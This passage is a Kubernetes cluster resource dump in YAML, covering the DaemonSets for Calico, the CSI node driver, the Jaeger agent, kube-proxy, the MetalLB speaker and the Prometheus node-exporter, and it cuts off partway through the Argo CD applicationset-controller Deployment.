          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
          - mountPath: /var/lib/calico
            name: var-lib-calico
          - mountPath: /var/run/calico
            name: var-run-calico
          - mountPath: /run/xtables.lock
            name: xtables-lock
        dnsPolicy: Default
        hostAliases:
        - hostnames:
          - goldmane.calico-system.svc
          ip: 10.110.195.55
        hostNetwork: true
        initContainers:
        - command:
          - /opt/cni/bin/install
          env:
          - name: CNI_CONF_NAME
            value: 10-calico.conflist
          - name: SLEEP
            value: "false"
          - name: CNI_NET_DIR
            value: /etc/cni/net.d
          - name: CNI_NETWORK_CONFIG
            valueFrom:
              configMapKeyRef:
                key: config
                name: cni-config
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          image: quay.io/calico/cni:v3.30.4
          imagePullPolicy: IfNotPresent
          name: install-cni
          resources: {}
          securityContext:
            allowPrivilegeEscalation: true
            capabilities:
              drop:
              - ALL
            privileged: true
            runAsGroup: 0
            runAsNonRoot: false
            runAsUser: 0
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /host/opt/cni/bin
            name: cni-bin-dir
          - mountPath: /host/etc/cni/net.d
            name: cni-net-dir
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-node-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-node
        serviceAccountName: calico-node
        terminationGracePeriodSeconds: 5
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        - effect: NoExecute
          operator: Exists
        volumes:
        - hostPath:
            path: /opt/cni/bin
            type: DirectoryOrCreate
          name: cni-bin-dir
        - hostPath:
            path: /var/log/calico/cni
            type: ""
          name: cni-log-dir
        - hostPath:
            path: /etc/cni/net.d
            type: ""
          name: cni-net-dir
        - hostPath:
            path: /lib/modules
            type: ""
          name: lib-modules
        - name: node-certs
          secret:
            defaultMode: 420
            secretName: node-certs
        - hostPath:
            path: /var/run/nodeagent
            type: DirectoryOrCreate
          name: policysync
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
        - hostPath:
            path: /var/lib/calico
            type: DirectoryOrCreate
          name: var-lib-calico
        - hostPath:
            path: /var/run/calico
            type: DirectoryOrCreate
          name: var-run-calico
        - hostPath:
            path: /run/xtables.lock
            type: FileOrCreate
          name: xtables-lock
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 3
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
    creationTimestamp: "2025-10-19T16:12:26Z"
    generation: 1
    name: csi-node-driver
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "18046286"
    uid: 2e15d322-f044-463e-972a-fc916ef3808f
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: csi-node-driver
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: csi-node-driver
          k8s-app: csi-node-driver
          name: csi-node-driver
      spec:
        containers:
        - args:
          - --nodeid=$(KUBE_NODE_NAME)
          - --loglevel=$(LOG_LEVEL)
          env:
          - name: LOG_LEVEL
            value: warn
          - name: KUBE_NODE_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: spec.nodeName
          image: quay.io/calico/csi:v3.30.4
          imagePullPolicy: IfNotPresent
          name: calico-csi
          resources: {}
          securityContext:
            allowPrivilegeEscalation: true
            capabilities:
              drop:
              - ALL
            privileged: true
            runAsGroup: 0
            runAsNonRoot: false
            runAsUser: 0
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/kubelet
            mountPropagation: Bidirectional
            name: kubelet-dir
          - mountPath: /csi
            name: socket-dir
          - mountPath: /var/run
            name: varrun
        - args:
          - --v=5
          - --csi-address=$(ADDRESS)
          - --kubelet-registration-path=$(DRIVER_REG_SOCK_PATH)
          env:
          - name: ADDRESS
            value: /csi/csi.sock
          - name: DRIVER_REG_SOCK_PATH
            value: /var/lib/kubelet/plugins/csi.tigera.io/csi.sock
          - name: KUBE_NODE_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: spec.nodeName
          image: quay.io/calico/node-driver-registrar:v3.30.4
          imagePullPolicy: IfNotPresent
          name: csi-node-driver-registrar
          resources: {}
          securityContext:
            allowPrivilegeEscalation: true
            capabilities:
              drop:
              - ALL
            privileged: true
            runAsGroup: 0
            runAsNonRoot: false
            runAsUser: 0
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /registration
            name: registration-dir
          - mountPath: /csi
            name: socket-dir
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-node-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: csi-node-driver
        serviceAccountName: csi-node-driver
        terminationGracePeriodSeconds: 30
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        - effect: NoExecute
          operator: Exists
        volumes:
        - hostPath:
            path: /var/lib/kubelet
            type: Directory
          name: kubelet-dir
        - hostPath:
            path: /var/lib/kubelet/plugins_registry
            type: Directory
          name: registration-dir
        - hostPath:
            path: /var/lib/kubelet/plugins/csi.tigera.io
            type: DirectoryOrCreate
          name: socket-dir
        - hostPath:
            path: /var/run
            type: ""
          name: varrun
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 1
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-agent
    namespace: jaeger
    resourceVersion: "18046302"
    uid: aad09bbe-e071-4581-98a9-a39f22f817a5
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: agent
        app.kubernetes.io/instance: jaeger
        app.kubernetes.io/name: jaeger
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: agent
          app.kubernetes.io/instance: jaeger
          app.kubernetes.io/name: jaeger
      spec:
        containers:
        - env:
          - name: REPORTER_GRPC_HOST_PORT
            value: jaeger-collector:14250
          image: jaegertracing/jaeger-agent:1.53.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jaeger-agent
          ports:
          - containerPort: 5775
            name: zipkin-compact
            protocol: UDP
          - containerPort: 6831
            name: jaeger-compact
            protocol: UDP
          - containerPort: 6832
            name: jaeger-binary
            protocol: UDP
          - containerPort: 5778
            name: http
            protocol: TCP
          - containerPort: 14271
            name: admin
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: admin
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: jaeger-agent
        serviceAccountName: jaeger-agent
        terminationGracePeriodSeconds: 30
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 1
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
    creationTimestamp: "2025-09-21T11:09:19Z"
    generation: 1
    labels:
      k8s-app: kube-proxy
    name: kube-proxy
    namespace: kube-system
    resourceVersion: "18045941"
    uid: 973d8887-47c5-4054-99e4-eee9ac10c5ef
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: kube-proxy
    template:
      metadata:
        creationTimestamp: null
        labels:
          k8s-app: kube-proxy
      spec:
        containers:
        - command:
          - /usr/local/bin/kube-proxy
          - --config=/var/lib/kube-proxy/config.conf
          - --hostname-override=$(NODE_NAME)
          env:
          - name: NODE_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: spec.nodeName
          image: registry.k8s.io/kube-proxy:v1.33.5
          imagePullPolicy: IfNotPresent
          name: kube-proxy
          resources: {}
          securityContext:
            privileged: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/kube-proxy
            name: kube-proxy
          - mountPath: /run/xtables.lock
            name: xtables-lock
          - mountPath: /lib/modules
            name: lib-modules
            readOnly: true
        dnsPolicy: ClusterFirst
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-node-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: kube-proxy
        serviceAccountName: kube-proxy
        terminationGracePeriodSeconds: 30
        tolerations:
        - operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: kube-proxy
          name: kube-proxy
        - hostPath:
            path: /run/xtables.lock
            type: FileOrCreate
          name: xtables-lock
        - hostPath:
            path: /lib/modules
            type: ""
          name: lib-modules
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 1
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-speaker
    namespace: metallb-system
    resourceVersion: "18046076"
    uid: 3d33e02f-6b43-495c-ab47-c899fc9935bd
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: speaker
        app.kubernetes.io/instance: metallb
        app.kubernetes.io/name: metallb
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: speaker
          app.kubernetes.io/instance: metallb
          app.kubernetes.io/name: metallb
      spec:
        containers:
        - args:
          - --port=7472
          - --log-level=info
          env:
          - name: METALLB_NODE_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: spec.nodeName
          - name: METALLB_HOST
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.hostIP
          - name: METALLB_ML_BIND_ADDR
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          - name: METALLB_ML_LABELS
            value: app.kubernetes.io/name=metallb,app.kubernetes.io/component=speaker
          - name: METALLB_ML_BIND_PORT
            value: "7946"
          - name: METALLB_ML_SECRET_KEY_PATH
            value: /etc/ml_secret_key
          - name: FRR_CONFIG_FILE
            value: /etc/frr_reloader/frr.conf
          - name: FRR_RELOADER_PID_FILE
            value: /etc/frr_reloader/reloader.pid
          - name: METALLB_BGP_TYPE
            value: frr
          - name: METALLB_POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          image: quay.io/metallb/speaker:v0.15.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: speaker
          ports:
          - containerPort: 7472
            name: monitoring
            protocol: TCP
          - containerPort: 7946
            name: memberlist-tcp
            protocol: TCP
          - containerPort: 7946
            name: memberlist-udp
            protocol: UDP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              add:
              - NET_RAW
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/ml_secret_key
            name: memberlist
          - mountPath: /etc/frr_reloader
            name: reloader
          - mountPath: /etc/metallb
            name: metallb-excludel2
        - command:
          - /bin/sh
          - -c
          - "/sbin/tini -- /usr/lib/frr/docker-start \nattempts=0\nuntil [[ -f /etc/frr/frr.log
            || $attempts -eq 60 ]]; do\n  sleep 1\n  attempts=$(( $attempts + 1 ))\ndone\ntail
            -f /etc/frr/frr.log\n"
          env:
          - name: TINI_SUBREAPER
            value: "true"
          image: quay.io/frrouting/frr:9.1.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: livez
              port: 7473
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: frr
          resources: {}
          securityContext:
            capabilities:
              add:
              - NET_ADMIN
              - NET_RAW
              - SYS_ADMIN
              - NET_BIND_SERVICE
          startupProbe:
            failureThreshold: 30
            httpGet:
              path: /livez
              port: 7473
              scheme: HTTP
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 1
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/run/frr
            name: frr-sockets
          - mountPath: /etc/frr
            name: frr-conf
        - command:
          - /etc/frr_reloader/frr-reloader.sh
          image: quay.io/frrouting/frr:9.1.0
          imagePullPolicy: IfNotPresent
          name: reloader
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/run/frr
            name: frr-sockets
          - mountPath: /etc/frr
            name: frr-conf
          - mountPath: /etc/frr_reloader
            name: reloader
        - args:
          - --metrics-port=7473
          command:
          - /etc/frr_metrics/frr-metrics
          env:
          - name: VTYSH_HISTFILE
            value: /dev/null
          image: quay.io/frrouting/frr:9.1.0
          imagePullPolicy: IfNotPresent
          name: frr-metrics
          ports:
          - containerPort: 7473
            name: monitoring
            protocol: TCP
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/run/frr
            name: frr-sockets
          - mountPath: /etc/frr
            name: frr-conf
          - mountPath: /etc/frr_metrics
            name: metrics
        dnsPolicy: ClusterFirst
        hostNetwork: true
        initContainers:
        - command:
          - /bin/sh
          - -c
          - cp -rLf /tmp/frr/* /etc/frr/
          image: quay.io/frrouting/frr:9.1.0
          imagePullPolicy: IfNotPresent
          name: cp-frr-files
          resources: {}
          securityContext:
            runAsGroup: 101
            runAsUser: 100
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp/frr
            name: frr-startup
          - mountPath: /etc/frr
            name: frr-conf
        - command:
          - /cp-tool
          - /frr-reloader.sh
          - /etc/frr_reloader/frr-reloader.sh
          image: quay.io/metallb/speaker:v0.15.2
          imagePullPolicy: IfNotPresent
          name: cp-reloader
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/frr_reloader
            name: reloader
        - command:
          - /cp-tool
          - /frr-metrics
          - /etc/frr_metrics/frr-metrics
          image: quay.io/metallb/speaker:v0.15.2
          imagePullPolicy: IfNotPresent
          name: cp-metrics
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/frr_metrics
            name: metrics
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: metallb-speaker
        serviceAccountName: metallb-speaker
        shareProcessNamespace: true
        terminationGracePeriodSeconds: 0
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
          operator: Exists
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
          operator: Exists
        volumes:
        - name: memberlist
          secret:
            defaultMode: 420
            secretName: metallb-memberlist
        - configMap:
            defaultMode: 256
            name: metallb-excludel2
          name: metallb-excludel2
        - emptyDir: {}
          name: frr-sockets
        - configMap:
            defaultMode: 420
            name: metallb-frr-startup
          name: frr-startup
        - emptyDir: {}
          name: frr-conf
        - emptyDir: {}
          name: reloader
        - emptyDir: {}
          name: metrics
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 1
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      helm.sh/chart: prometheus-node-exporter-4.48.0
    name: prometheus-community-prometheus-node-exporter
    namespace: prometheus
    resourceVersion: "18045947"
    uid: 1eefa6c3-e5d0-497f-9e12-0ca5f33af22c
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: prometheus-node-exporter
    template:
      metadata:
        annotations:
          cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: metrics
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: prometheus-node-exporter
          app.kubernetes.io/part-of: prometheus-node-exporter
          app.kubernetes.io/version: 1.9.1
          helm.sh/chart: prometheus-node-exporter-4.48.0
      spec:
        affinity:
          nodeAffinity:
            requiredDuringSchedulingIgnoredDuringExecution:
              nodeSelectorTerms:
              - matchExpressions:
                - key: eks.amazonaws.com/compute-type
                  operator: NotIn
                  values:
                  - fargate
                - key: type
                  operator: NotIn
                  values:
                  - virtual-kubelet
        automountServiceAccountToken: false
        containers:
        - args:
          - --path.procfs=/host/proc
          - --path.sysfs=/host/sys
          - --path.rootfs=/host/root
          - --path.udev.data=/host/root/run/udev/data
          - --web.listen-address=[$(HOST_IP)]:9100
          env:
          - name: HOST_IP
            value: 0.0.0.0
          image: quay.io/prometheus/node-exporter:v1.9.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: metrics
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: node-exporter
          ports:
          - containerPort: 9100
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: metrics
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /host/proc
            name: proc
            readOnly: true
          - mountPath: /host/sys
            name: sys
            readOnly: true
          - mountPath: /host/root
            mountPropagation: HostToContainer
            name: root
            readOnly: true
        dnsPolicy: ClusterFirst
        hostNetwork: true
        hostPID: true
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-prometheus-node-exporter
        serviceAccountName: prometheus-community-prometheus-node-exporter
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          operator: Exists
        volumes:
        - hostPath:
            path: /proc
            type: ""
          name: proc
        - hostPath:
            path: /sys
            type: ""
          name: sys
        - hostPath:
            path: /
            type: ""
          name: root
    updateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
  status:
    currentNumberScheduled: 3
    desiredNumberScheduled: 3
    numberAvailable: 3
    numberMisscheduled: 0
    numberReady: 3
    observedGeneration: 1
    updatedNumberScheduled: 3
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:17Z"
    generation: 1
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "18033656"
    uid: c73c2939-abb7-4c32-88a2-7eee204cb742
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 3
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-applicationset-controller
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: applicationset-controller
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-applicationset-controller
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-applicationset-controller
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-applicationset-controller
          - --metrics-addr=:8080
          - --probe-addr=:8081
          - --webhook-addr=:7000
          env:
          - name: NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_ANNOTATIONS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.global.preserved.annotations
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_LABELS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.global.preserved.labels
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_LEADER_ELECTION
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.leader.election
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER
            valueFrom:
              configMapKeyRef:
                key: repo.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_POLICY
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.policy
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_POLICY_OVERRIDE
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.policy.override
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_DEBUG
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.debug
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_DRY_RUN
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.dryrun
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_MODULES_ENABLED
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.git.submodule
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_PROGRESSIVE_SYNCS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.progressive.syncs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_TOKENREF_STRICT_MODE
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.tokenref.strict.mode
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.new.git.file.globbing
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_CONCURRENT_RECONCILIATIONS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.concurrent.reconciliations.max
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.scm.root.ca.path
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.allowed.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.github.api.metrics
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_WEBHOOK_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.webhook.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REQUEUE_AFTER
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.requeue.after
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: applicationset-controller
          ports:
          - containerPort: 8080
            name: metrics
            protocol: TCP
          - containerPort: 8081
            name: probe
            protocol: TCP
          - containerPort: 7000
            name: webhook
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
